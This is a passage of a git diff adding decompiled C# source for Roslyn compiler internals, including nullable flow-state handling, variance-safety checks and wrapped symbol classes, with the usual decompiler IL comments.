FlowAnalysisAnnotations.MaybeNull) == FlowAnalysisAnnotations.MaybeNull) + { + defaultState = NullableFlowState.MaybeDefault; + } + else + { + if ((annotations & FlowAnalysisAnnotations.NotNull) != FlowAnalysisAnnotations.NotNull) + { + return typeWithAnnotations.ToTypeWithState(); + } + defaultState = NullableFlowState.NotNull; + } + } + else + { + defaultState = NullableFlowState.NotNull; + } + return Create(type, defaultState); + } + + private TypeWithState(TypeSymbol? type, NullableFlowState state) + { + Type = type; + State = state; + } + + public string GetDebuggerDisplay() + { + return string.Format("{{Type:{0}, State:{1}{2}", Type?.GetDebuggerDisplay(), State, "}"); + } + + public override string ToString() + { + return GetDebuggerDisplay(); + } + + public TypeWithState WithNotNullState() + { + return new TypeWithState(Type, NullableFlowState.NotNull); + } + + public TypeWithState WithSuppression(bool suppress) + { + if (!suppress) + { + return this; + } + return new TypeWithState(Type, NullableFlowState.NotNull); + } + + public TypeWithAnnotations ToTypeWithAnnotations(CSharpCompilation compilation, bool asAnnotatedType = false) + { + TypeSymbol? type = Type; + if ((object)type != null && type.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + TypeWithAnnotations result = TypeWithAnnotations.Create(Type, NullableAnnotation.NotAnnotated); + if (!(State == NullableFlowState.MaybeDefault || asAnnotatedType)) + { + return result; + } + return result.SetIsAnnotated(compilation); + } + int num; + if (!asAnnotatedType) + { + if (!State.IsNotNull()) + { + TypeSymbol? type2 = Type; + if ((object)type2 == null || type2.CanContainNull()) + { + num = 2; + goto IL_0087; + } + } + num = 0; + } + else + { + TypeSymbol? type3 = Type; + num = (((object)type3 == null || !type3.IsValueType) ? 2 : 0); + } + goto IL_0087; + IL_0087: + NullableAnnotation nullableAnnotation = (NullableAnnotation)num; + return TypeWithAnnotations.Create(Type, nullableAnnotation); + } + + public TypeWithAnnotations ToAnnotatedTypeWithAnnotations(CSharpCompilation compilation) + { + return ToTypeWithAnnotations(compilation, asAnnotatedType: true); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UnboundArgumentErrorTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UnboundArgumentErrorTypeSymbol.cs new file mode 100644 index 0000000..87b1a20 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UnboundArgumentErrorTypeSymbol.cs @@ -0,0 +1,70 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class UnboundArgumentErrorTypeSymbol : ErrorTypeSymbol +{ + public static readonly ErrorTypeSymbol Instance = new UnboundArgumentErrorTypeSymbol(string.Empty, (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_UnexpectedUnboundGenericName)); + + private readonly string _name; + + private readonly DiagnosticInfo _errorInfo; + + public override string Name => _name; + + internal override bool MangleName => false; + + internal override bool IsFileLocal => false; + + internal override FileIdentifier? AssociatedFileIdentifier => null; + + internal override DiagnosticInfo ErrorInfo => _errorInfo; + + public static ImmutableArray CreateTypeArguments(ImmutableArray typeParameters, int n, DiagnosticInfo errorInfo) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + for (int i = 0; i < n; i++) + { + string name = ((i < typeParameters.Length) ? typeParameters[i].Name : string.Empty); + instance.Add(TypeWithAnnotations.Create(new UnboundArgumentErrorTypeSymbol(name, errorInfo))); + } + return instance.ToImmutableAndFree(); + } + + private UnboundArgumentErrorTypeSymbol(string name, DiagnosticInfo errorInfo, TupleExtraData? tupleData = null) + : base(tupleData) + { + _name = name; + _errorInfo = errorInfo; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new UnboundArgumentErrorTypeSymbol(_name, _errorInfo, newData); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + if ((object)t2 == this) + { + return true; + } + if (t2 is UnboundArgumentErrorTypeSymbol unboundArgumentErrorTypeSymbol && string.Equals(unboundArgumentErrorTypeSymbol._name, _name, StringComparison.Ordinal)) + { + return object.Equals(unboundArgumentErrorTypeSymbol._errorInfo, _errorInfo); + } + return false; + } + + public override int GetHashCode() + { + if (_errorInfo != null) + { + return Hash.Combine(_name, _errorInfo.Code); + } + return _name.GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UnsupportedMetadataTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UnsupportedMetadataTypeSymbol.cs new file mode 100644 index 0000000..2d19d53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UnsupportedMetadataTypeSymbol.cs @@ -0,0 +1,26 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class UnsupportedMetadataTypeSymbol : ErrorTypeSymbol +{ + private readonly BadImageFormatException? _mrEx; + + internal override DiagnosticInfo ErrorInfo => (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BogusType, string.Empty); + + internal override bool MangleName => false; + + internal override bool IsFileLocal => false; + + internal override FileIdentifier? AssociatedFileIdentifier => null; + + internal UnsupportedMetadataTypeSymbol(BadImageFormatException? mrEx = null) + { + _mrEx = mrEx; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return this; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UpdatedContainingSymbolAndNullableAnnotationLocal.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UpdatedContainingSymbolAndNullableAnnotationLocal.cs new file mode 100644 index 0000000..2c4ceec --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/UpdatedContainingSymbolAndNullableAnnotationLocal.cs @@ -0,0 +1,119 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class UpdatedContainingSymbolAndNullableAnnotationLocal : LocalSymbol +{ + private readonly SourceLocalSymbol _underlyingLocal; + + public override Symbol ContainingSymbol { get; } + + public override TypeWithAnnotations TypeWithAnnotations { get; } + + public override RefKind RefKind => _underlyingLocal.RefKind; + + public override ImmutableArray Locations => _underlyingLocal.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _underlyingLocal.DeclaringSyntaxReferences; + + public override string Name => _underlyingLocal.Name; + + public override bool IsImplicitlyDeclared => _underlyingLocal.IsImplicitlyDeclared; + + internal override LocalDeclarationKind DeclarationKind => _underlyingLocal.DeclarationKind; + + internal override SynthesizedLocalKind SynthesizedKind => _underlyingLocal.SynthesizedKind; + + internal override SyntaxNode ScopeDesignatorOpt => _underlyingLocal.ScopeDesignatorOpt; + + internal override bool IsImportedFromMetadata => _underlyingLocal.IsImportedFromMetadata; + + internal override SyntaxToken IdentifierToken => _underlyingLocal.IdentifierToken; + + internal override bool IsPinned => _underlyingLocal.IsPinned; + + internal override bool IsKnownToReferToTempIfReferenceType => _underlyingLocal.IsKnownToReferToTempIfReferenceType; + + internal override bool IsCompilerGenerated => _underlyingLocal.IsCompilerGenerated; + + internal override ScopedKind Scope => _underlyingLocal.Scope; + + internal override bool HasSourceLocation => _underlyingLocal.HasSourceLocation; + + internal static UpdatedContainingSymbolAndNullableAnnotationLocal CreateForTest(SourceLocalSymbol underlyingLocal, Symbol updatedContainingSymbol, TypeWithAnnotations updatedType) + { + return new UpdatedContainingSymbolAndNullableAnnotationLocal(underlyingLocal, updatedContainingSymbol, updatedType, assertContaining: false); + } + + private UpdatedContainingSymbolAndNullableAnnotationLocal(SourceLocalSymbol underlyingLocal, Symbol updatedContainingSymbol, TypeWithAnnotations updatedType, bool assertContaining) + { + ContainingSymbol = updatedContainingSymbol; + TypeWithAnnotations = updatedType; + _underlyingLocal = underlyingLocal; + } + + internal UpdatedContainingSymbolAndNullableAnnotationLocal(SourceLocalSymbol underlyingLocal, Symbol updatedContainingSymbol, TypeWithAnnotations updatedType) + : this(underlyingLocal, updatedContainingSymbol, updatedType, assertContaining: true) + { + } + + public override bool Equals(Symbol other, TypeCompareKind compareKind) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Invalid comparison between Unknown and I4 + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + if ((object)other == this) + { + return true; + } + if (!(other is LocalSymbol localSymbol)) + { + return false; + } + SourceLocalSymbol sourceLocalSymbol = ((localSymbol is UpdatedContainingSymbolAndNullableAnnotationLocal updatedContainingSymbolAndNullableAnnotationLocal) ? updatedContainingSymbolAndNullableAnnotationLocal._underlyingLocal : ((!(localSymbol is SourceLocalSymbol sourceLocalSymbol2)) ? null : sourceLocalSymbol2)); + SourceLocalSymbol sourceLocalSymbol3 = sourceLocalSymbol; + if ((object)sourceLocalSymbol3 == null || !_underlyingLocal.Equals(sourceLocalSymbol3, compareKind)) + { + return false; + } + if ((compareKind & 0x18) <= 0) + { + if (TypeWithAnnotations.Equals(localSymbol.TypeWithAnnotations, compareKind)) + { + return ContainingSymbol.Equals(localSymbol.ContainingSymbol, compareKind); + } + return false; + } + return true; + } + + public override int GetHashCode() + { + return _underlyingLocal.GetHashCode(); + } + + internal override ConstantValue GetConstantValue(SyntaxNode node, LocalSymbol inProgress, BindingDiagnosticBag? diagnostics = null) + { + return _underlyingLocal.GetConstantValue(node, inProgress, diagnostics); + } + + internal override ImmutableBindingDiagnostic GetConstantValueDiagnostics(BoundExpression boundInitValue) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return _underlyingLocal.GetConstantValueDiagnostics(boundInitValue); + } + + internal override SyntaxNode GetDeclaratorSyntax() + { + return _underlyingLocal.GetDeclaratorSyntax(); + } + + internal override LocalSymbol WithSynthesizedLocalKindAndSyntax(SynthesizedLocalKind kind, SyntaxNode syntax) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/UpdatedContainingSymbolLocal.cs", 108); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/VarianceSafety.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/VarianceSafety.cs new file mode 100644 index 0000000..128ace6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/VarianceSafety.cs @@ -0,0 +1,384 @@ +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class VarianceSafety +{ + private delegate Location LocationProvider(T arg); + + internal static void CheckInterfaceVarianceSafety(this NamedTypeSymbol interfaceType, BindingDiagnosticBag diagnostics) + { + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Invalid comparison between Unknown and I4 + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Invalid comparison between Unknown and I4 + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Invalid comparison between Unknown and I4 + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Invalid comparison between Unknown and I4 + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = interfaceType.InterfacesNoUseSiteDiagnostics().GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + IsVarianceUnsafe(current, requireOutputSafety: true, requireInputSafety: false, current, (NamedTypeSymbol i) => (Location)null, current, diagnostics); + } + ImmutableArray.Enumerator enumerator2 = interfaceType.GetMembersUnordered().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + SymbolKind kind = current2.Kind; + if ((int)kind <= 9) + { + if ((int)kind != 5) + { + if ((int)kind == 9 && !current2.IsAccessor()) + { + ((MethodSymbol)current2).CheckMethodVarianceSafety(diagnostics); + } + } + else + { + CheckEventVarianceSafety((EventSymbol)current2, diagnostics); + } + } + else if ((int)kind != 11) + { + if ((int)kind == 15) + { + CheckPropertyVarianceSafety((PropertySymbol)current2, diagnostics); + } + } + else + { + CheckNestedTypeVarianceSafety((NamedTypeSymbol)current2, diagnostics); + } + } + } + + private static void CheckNestedTypeVarianceSafety(NamedTypeSymbol member, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected I4, but got Unknown + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = member.TypeKind; + switch (typeKind - 2) + { + case 1: + case 5: + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)member.TypeKind); + case 0: + case 3: + case 8: + if ((object)GetEnclosingVariantInterface(member) != null) + { + diagnostics.Add(ErrorCode.ERR_VarianceInterfaceNesting, member.GetFirstLocation()); + } + break; + } + } + + internal static NamedTypeSymbol GetEnclosingVariantInterface(Symbol member) + { + NamedTypeSymbol containingType = member.ContainingType; + while ((object)containingType != null && containingType.IsInterfaceType()) + { + if (containingType.TypeParameters.Any((TypeParameterSymbol tp) => (int)tp.Variance > 0)) + { + return containingType; + } + containingType = containingType.ContainingType; + } + return null; + } + + internal static void CheckDelegateVarianceSafety(this SourceDelegateMethodSymbol method, BindingDiagnosticBag diagnostics) + { + method.CheckMethodVarianceSafety(delegate(MethodSymbol m) + { + DelegateDeclarationSyntax declaringSyntax = m.GetDeclaringSyntax(); + return (declaringSyntax != null) ? ((SyntaxNode)declaringSyntax.ReturnType).Location : null; + }, diagnostics); + } + + private static void CheckMethodVarianceSafety(this MethodSymbol method, BindingDiagnosticBag diagnostics) + { + method.CheckMethodVarianceSafety(delegate(MethodSymbol m) + { + MethodDeclarationSyntax declaringSyntax = m.GetDeclaringSyntax(); + return (declaringSyntax != null) ? ((SyntaxNode)declaringSyntax.ReturnType).Location : null; + }, diagnostics); + } + + private static void CheckMethodVarianceSafety(this MethodSymbol method, LocationProvider returnTypeLocationProvider, BindingDiagnosticBag diagnostics) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + if (!SkipVarianceSafetyChecks(method)) + { + CheckTypeParametersVarianceSafety(method.TypeParameters, method, diagnostics); + IsVarianceUnsafe(method.ReturnType, requireOutputSafety: true, (int)method.RefKind > 0, method, returnTypeLocationProvider, method, diagnostics); + CheckParametersVarianceSafety(method.Parameters, method, diagnostics); + } + } + + private static bool SkipVarianceSafetyChecks(Symbol member) + { + if (member.IsStatic && !member.IsAbstract && !member.IsVirtual) + { + return MessageID.IDS_FeatureVarianceSafetyForStaticInterfaceMembers.RequiredVersion() <= member.DeclaringCompilation.LanguageVersion; + } + return false; + } + + private static void CheckPropertyVarianceSafety(PropertySymbol property, BindingDiagnosticBag diagnostics) + { + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + if (SkipVarianceSafetyChecks(property)) + { + return; + } + bool flag = (object)property.GetMethod != null; + bool flag2 = (object)property.SetMethod != null; + if (flag || flag2) + { + TypeSymbol type = property.Type; + int requireInputSafety; + if (!flag2) + { + MethodSymbol getMethod = property.GetMethod; + requireInputSafety = (((object)getMethod == null || (int)getMethod.RefKind != 0) ? 1 : 0); + } + else + { + requireInputSafety = 1; + } + IsVarianceUnsafe(type, flag, (byte)requireInputSafety != 0, property, delegate(PropertySymbol p) + { + BasePropertyDeclarationSyntax declaringSyntax = p.GetDeclaringSyntax(); + return (declaringSyntax != null) ? ((SyntaxNode)declaringSyntax.Type).Location : null; + }, property, diagnostics); + } + CheckParametersVarianceSafety(property.Parameters, property, diagnostics); + } + + private static void CheckEventVarianceSafety(EventSymbol @event, BindingDiagnosticBag diagnostics) + { + if (!SkipVarianceSafetyChecks(@event)) + { + IsVarianceUnsafe(@event.Type, requireOutputSafety: false, requireInputSafety: true, @event, (EventSymbol e) => e.GetFirstLocation(), @event, diagnostics); + } + } + + private static void CheckParametersVarianceSafety(ImmutableArray parameters, Symbol context, BindingDiagnosticBag diagnostics) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + IsVarianceUnsafe(current.Type, (int)current.RefKind > 0, requireInputSafety: true, context, delegate(ParameterSymbol p) + { + ParameterSyntax declaringSyntax = p.GetDeclaringSyntax(); + return (declaringSyntax != null) ? ((SyntaxNode)declaringSyntax.Type).Location : null; + }, current, diagnostics); + } + } + + private static void CheckTypeParametersVarianceSafety(ImmutableArray typeParameters, MethodSymbol context, BindingDiagnosticBag diagnostics) + { + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + ImmutableArray.Enumerator enumerator2 = current.ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + IsVarianceUnsafe(enumerator2.Current.Type, requireOutputSafety: false, requireInputSafety: true, context, (TypeParameterSymbol t) => t.GetFirstLocation(), current, diagnostics); + } + } + } + + private static bool IsVarianceUnsafe(TypeSymbol type, bool requireOutputSafety, bool requireInputSafety, Symbol context, LocationProvider locationProvider, T locationArg, BindingDiagnosticBag diagnostics) where T : Symbol + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Invalid comparison between Unknown and I4 + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Invalid comparison between Unknown and I4 + SymbolKind kind = type.Kind; + if ((int)kind <= 4) + { + if ((int)kind == 1) + { + return IsVarianceUnsafe(((ArrayTypeSymbol)type).ElementType, requireOutputSafety, requireInputSafety, context, locationProvider, locationArg, diagnostics); + } + if ((int)kind == 4) + { + goto IL_00b2; + } + } + else + { + if ((int)kind == 11) + { + goto IL_00b2; + } + if ((int)kind == 17) + { + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)type; + if (requireInputSafety && requireOutputSafety && (int)typeParameterSymbol.Variance != 0) + { + diagnostics.AddVarianceError(typeParameterSymbol, context, locationProvider, locationArg, MessageID.IDS_Invariantly); + return true; + } + if (requireOutputSafety && (int)typeParameterSymbol.Variance == 2) + { + diagnostics.AddVarianceError(typeParameterSymbol, context, locationProvider, locationArg, MessageID.IDS_Covariantly); + return true; + } + if (requireInputSafety && (int)typeParameterSymbol.Variance == 1) + { + diagnostics.AddVarianceError(typeParameterSymbol, context, locationProvider, locationArg, MessageID.IDS_Contravariantly); + return true; + } + return false; + } + } + return false; + IL_00b2: + return IsVarianceUnsafe((NamedTypeSymbol)type, requireOutputSafety, requireInputSafety, context, locationProvider, locationArg, diagnostics); + } + + private static bool IsVarianceUnsafe(NamedTypeSymbol namedType, bool requireOutputSafety, bool requireInputSafety, Symbol context, LocationProvider locationProvider, T locationArg, BindingDiagnosticBag diagnostics) where T : Symbol + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected I4, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected I4, but got Unknown + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = namedType.TypeKind; + switch (typeKind - 2) + { + default: + return false; + case 0: + case 1: + case 3: + case 4: + case 5: + case 8: + break; + } + while ((object)namedType != null) + { + for (int i = 0; i < namedType.Arity; i++) + { + TypeParameterSymbol typeParameterSymbol = namedType.TypeParameters[i]; + TypeSymbol type = namedType.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[i].Type; + VarianceKind variance = typeParameterSymbol.Variance; + bool requireOutputSafety2; + bool requireInputSafety2; + switch ((int)variance) + { + case 1: + requireOutputSafety2 = requireOutputSafety; + requireInputSafety2 = requireInputSafety; + break; + case 2: + requireOutputSafety2 = requireInputSafety; + requireInputSafety2 = requireOutputSafety; + break; + case 0: + requireInputSafety2 = true; + requireOutputSafety2 = true; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)typeParameterSymbol.Variance); + } + if (IsVarianceUnsafe(type, requireOutputSafety2, requireInputSafety2, context, locationProvider, locationArg, diagnostics)) + { + return true; + } + } + namedType = namedType.ContainingType; + } + return false; + } + + private static void AddVarianceError(this BindingDiagnosticBag diagnostics, TypeParameterSymbol unsafeTypeParameter, Symbol context, LocationProvider locationProvider, T locationArg, MessageID expectedVariance) where T : Symbol + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + VarianceKind variance = unsafeTypeParameter.Variance; + MessageID id; + if ((int)variance != 1) + { + if ((int)variance != 2) + { + throw ExceptionUtilities.UnexpectedValue((object)unsafeTypeParameter.Variance); + } + id = MessageID.IDS_Contravariant; + } + else + { + id = MessageID.IDS_Covariant; + } + Location location = locationProvider(locationArg) ?? unsafeTypeParameter.GetFirstLocation(); + if (!(context is TypeSymbol) && context.IsStatic && !context.IsAbstract && !context.IsVirtual) + { + diagnostics.Add(ErrorCode.ERR_UnexpectedVarianceStaticMember, location, context, unsafeTypeParameter, id.Localize(), expectedVariance.Localize(), new CSharpRequiredLanguageVersion(MessageID.IDS_FeatureVarianceSafetyForStaticInterfaceMembers.RequiredVersion())); + } + else + { + diagnostics.Add(ErrorCode.ERR_UnexpectedVariance, location, context, unsafeTypeParameter, id.Localize(), expectedVariance.Localize()); + } + } + + private static T GetDeclaringSyntax(this Symbol symbol) where T : SyntaxNode + { + ImmutableArray declaringSyntaxReferences = symbol.DeclaringSyntaxReferences; + if (declaringSyntaxReferences.Length == 0) + { + return default(T); + } + SyntaxNode syntax = declaringSyntaxReferences[0].GetSyntax(default(CancellationToken)); + return (T)(object)((syntax is T) ? syntax : null); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedEventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedEventSymbol.cs new file mode 100644 index 0000000..d6999cb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedEventSymbol.cs @@ -0,0 +1,52 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class WrappedEventSymbol : EventSymbol +{ + protected readonly EventSymbol _underlyingEvent; + + public EventSymbol UnderlyingEvent => _underlyingEvent; + + public override bool IsImplicitlyDeclared => _underlyingEvent.IsImplicitlyDeclared; + + internal override bool HasSpecialName => _underlyingEvent.HasSpecialName; + + public override string Name => _underlyingEvent.Name; + + public override ImmutableArray Locations => _underlyingEvent.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _underlyingEvent.DeclaringSyntaxReferences; + + public override Accessibility DeclaredAccessibility => _underlyingEvent.DeclaredAccessibility; + + public override bool IsStatic => _underlyingEvent.IsStatic; + + public override bool IsVirtual => _underlyingEvent.IsVirtual; + + public override bool IsOverride => _underlyingEvent.IsOverride; + + public override bool IsAbstract => _underlyingEvent.IsAbstract; + + public override bool IsSealed => _underlyingEvent.IsSealed; + + public override bool IsExtern => _underlyingEvent.IsExtern; + + internal override ObsoleteAttributeData? ObsoleteAttributeData => _underlyingEvent.ObsoleteAttributeData; + + public override bool IsWindowsRuntimeEvent => _underlyingEvent.IsWindowsRuntimeEvent; + + internal override bool HasRuntimeSpecialName => _underlyingEvent.HasRuntimeSpecialName; + + public WrappedEventSymbol(EventSymbol underlyingEvent) + { + _underlyingEvent = underlyingEvent; + } + + public override string GetDocumentationCommentXml(CultureInfo? preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingEvent.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedFieldSymbol.cs new file mode 100644 index 0000000..ff8f25a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedFieldSymbol.cs @@ -0,0 +1,71 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class WrappedFieldSymbol : FieldSymbol +{ + protected readonly FieldSymbol _underlyingField; + + public FieldSymbol UnderlyingField => _underlyingField; + + public override bool IsImplicitlyDeclared => _underlyingField.IsImplicitlyDeclared; + + public override FlowAnalysisAnnotations FlowAnalysisAnnotations => _underlyingField.FlowAnalysisAnnotations; + + public override Accessibility DeclaredAccessibility => _underlyingField.DeclaredAccessibility; + + public override string Name => _underlyingField.Name; + + internal override bool HasSpecialName => _underlyingField.HasSpecialName; + + internal override bool HasRuntimeSpecialName => _underlyingField.HasRuntimeSpecialName; + + internal override bool IsNotSerialized => _underlyingField.IsNotSerialized; + + internal override bool HasPointerType => _underlyingField.HasPointerType; + + internal override bool IsMarshalledExplicitly => _underlyingField.IsMarshalledExplicitly; + + internal override MarshalPseudoCustomAttributeData MarshallingInformation => _underlyingField.MarshallingInformation; + + internal override ImmutableArray MarshallingDescriptor => _underlyingField.MarshallingDescriptor; + + public override bool IsFixedSizeBuffer => _underlyingField.IsFixedSizeBuffer; + + internal override int? TypeLayoutOffset => _underlyingField.TypeLayoutOffset; + + public override bool IsReadOnly => _underlyingField.IsReadOnly; + + public override bool IsVolatile => _underlyingField.IsVolatile; + + public override bool IsConst => _underlyingField.IsConst; + + internal override ObsoleteAttributeData ObsoleteAttributeData => _underlyingField.ObsoleteAttributeData; + + public override object ConstantValue => _underlyingField.ConstantValue; + + public override ImmutableArray Locations => _underlyingField.Locations; + + public override ImmutableArray DeclaringSyntaxReferences => _underlyingField.DeclaringSyntaxReferences; + + public override bool IsStatic => _underlyingField.IsStatic; + + internal sealed override bool IsRequired => _underlyingField.IsRequired; + + public WrappedFieldSymbol(FieldSymbol underlyingField) + { + _underlyingField = underlyingField; + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return _underlyingField.GetDocumentationCommentXml(preferredCulture, expandIncludes, cancellationToken); + } + + internal override ConstantValue GetConstantValue(ConstantFieldsInProgress inProgress, bool earlyDecodingWellKnownAttributes) + { + return _underlyingField.GetConstantValue(inProgress, earlyDecodingWellKnownAttributes); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedMethodSymbol.cs new file mode 100644 index 0000000..288b394 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/WrappedMethodSymbol.cs @@ -0,0 +1,143 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Reflection; +using System.Threading; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class WrappedMethodSymbol : MethodSymbol +{ + public abstract MethodSymbol UnderlyingMethod { get; } + + public override bool IsVararg => UnderlyingMethod.IsVararg; + + public override bool 